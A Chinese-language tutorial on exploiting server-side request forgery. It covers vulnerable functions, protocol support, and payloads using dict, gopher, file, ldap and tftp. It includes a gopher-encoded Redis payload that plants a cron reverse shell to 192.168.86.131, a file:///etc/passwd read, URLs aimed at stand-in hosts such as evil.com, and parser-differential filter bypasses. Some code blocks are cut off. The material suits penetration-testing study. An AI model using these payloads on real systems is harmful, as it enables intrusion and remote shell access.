前言
SSRF是非常容易忽略的一个漏洞,我甚至在渗透测试的项目中甚至不会去深究这方面的漏洞,因为它通常危害较小,并且极难利用。但是上次我在一个项目中发现了一个SSRF,并且同服务器还有另一个对内开放的网站,这样这个SSRF就为攻击者建立了一个从对外开放到网站渗透到对内开放的网站。最后利用SSRF探测到了对内开放的那个网站有sql注入,虽然没有getshell,但是还是引起了重视,SSRF在很多时候还是有用武之地的。
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。很晦涩!!!举个例子:服务端有一个在线加载图片的功能,你传入一个图片URL,网站就会加载出来对应图片,所以图片的URL是网站服务器去访问的,如果我们利用这点传入一些只有服务端才能进行访问的URL,比如不对外开放的后台地址,那么这个过程就是服务端的请求伪造。
常简存在SSRF漏洞的函数
php
1.file_get_contents()
2.fsockopen()
3.curl_exec() 默认不支持302跳转的
java
1.HttpClient
2.Request (对HttpClient封装后的类)
3.HttpURLConnection
4.URLConnection
5.URL
6.okhttp
以上的几个发送网络请求的类都有可能导致SSRF,但是java的各个类对协议的支持各有不同,所以利用过程首先得确定支持哪些协议。
SSRF支持的协议
这里协议描述的细一点,也参考了各个文章的trick。因为协议的技巧都是通用的,xxe、文件读取、文件包含等都可能用的上。
语言支持协议表 | php | Java | curl | Perl | ASP.NET |
---|---|---|---|---|---|
http/https | √ | √ | √ | √ | √ |
gopher | -with-curlwrappers | Before JDK1.7 | before 7.49.0 不支持\x00 | √ | Before version 3 |
tftp | -with-curlwrappers | X | before 7.49.0 不支持\x00 | X | X |
dict | -with-curlwrappers | X | √ | X | X |
file | √ | √ | √ | √ | √ |
ftp | √ | √ | √ | √ | √ |
imap | -with-curlwrappers | X | √ | √ | X |
pop3 | -with-curlwrappers | X | √ | √ | X |
rtsp | -with-curlwrappers | √ | √ | √ | √ |
smb | -with-curlwrappers | √ | √ | √ | √ |
smtp | -with-curlwrappers | X | √ | X | X |
telnet | -with-curlwrappers | X | √ | X | X |
ssh2 | 受限于allow_url_fopen | X | X | 受限于NET:SSH2 | X |
ogg | 受限于allow_url_fopen | X | X | X | X |
expect | 受限于allow_url_fopen | X | X | X | X |
ldap | X | X | X | √ | X |
php | √ | X | X | X | X |
zlib/bzip/zip | 受限于allow_url_fopen | X | X | X | X |
SFTP
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
1 | http://test.net/ssrf.php?url=sftp://evil.com:11111/ |
DICT
DICT主要用来探测端口和服务是否开启,当然它也可以进行redis的利用,乌云的猪猪侠就有一个经典的SSRF+dict协议+redis未授权 getshell,此外小米也出现过相同的问题,所以DICT协议在SSRF用处还是蛮大的。
判断DICT是否可用:
1 | http://safebuff.com/ssrf.php?dict://attacker:11111/ |
探测端口:
1 | #直接dict://ip:port/ |
使用dict协议向Redis数据库写shell
关于dict协议:
dict://serverip:port/命令:参数
向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
DICT对redis的利用(引用了腾讯的SSRF漏洞的代码):
1 |
|
1 | #shell.php 辅助脚本 |
gopher
这个协议要写的长一点,他是一个TCP/IP层协议,所以可以干很多事情,它可以GET请求也可以POST请求,还可以发邮件、攻击mysql、redis、fastcgi等等,总之就是挺强大的。但是记住gopher协议的默认端口是70,所以如果伪造http协议记得写端口。另外推荐一个生成gopher协议payload的工具:gopherus(注意payload需要URL编码一次,也就是二次编码)
gopher可以进行get和post和其他一些协议的处理,尤其是POST,所以经常用来进行漏洞利用,比如内网的其他网站的攻击,上传文件,POST一些参数等等。gopher协议的格式:gopher:/ip:port/_ + payload
下面举个例子
1 | #如果你想要访问一个内网才可以访问的地址 |
gopher为啥特别危险呢?因为他可以被称为万能协议,可以发起其他各种协议的请求,攻击redis、mysql、fastcgi等。
比如攻击redis:
1 | # 抓取redis反弹那shell的包如下 |
引用下JoyChou师傅的转换脚本:
1 | #coding: utf-8 |
转换规则如下:
如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a
构造gopher协议利用:
1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1%0a%0a%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a1%0d%0a$4%0d%0asave%0d%0a1%0d%0a$4%0d%0aquit%0d%0a
如果要换IP和端口,前面的$61也需要更改,$61表示字符串长度为61个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1%0a%0a%0a%0a,3+54+4=58。
本地curl测试,返回4个OK说明成功执行
file
1 | http://127.0.0.1/?url=file:///etc/passwd |
ldap
1 | http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit |
TFTP
1 | http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET |
绕过技巧
1.利用302跳转绕过协议限制
2.127 段全部都是本地地址 绕过对127.0.0.1的限制
3.工具探测->ssrfmap
CTF技巧
php中的parse_url和libcurl
题目(一个SSRF利用mysql的题目)不放了,这里也不是写CTF解题过程的,大概代码流程:
url->php parse_url(过滤ip)->过滤url各部分(空白字符和数字)->curl发送请求
可利用parse_url和libcurl对url解析的差异来绕过。
完整url: bash scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含’?’的情况
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host
php解析结果:
schema: http
host: b.com
user: u
pass: p@a.com:80
libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉
我们可以构造一个URL地址,用来让php认为host是b.com 而libcurl实际请求另一个域名。
1 | http://u:p:@a.com:3306@b.com/ |
但是这里还有一个问题,开头流程中说明了php解析URL后会过滤空白字符和数字。数字会被过滤,所以,a.com:3306是不行的,3306只能放在最后,但是放在最后端口就无法被curl获取到,但是根据rfc3986规定可以:
gopher://foo@[cafebabe.cf]@yolo.com:3306
A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets (“[“ and “]“). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = “[“ ( IPv6address / IPvFuture ) “]”
也就是说[ip]是一种host的形式,libcurl在解析时候认为[]包裹的是host
还有一种十六进制表现形式
gopher://foo@localhost:f@ricterz.me:3306/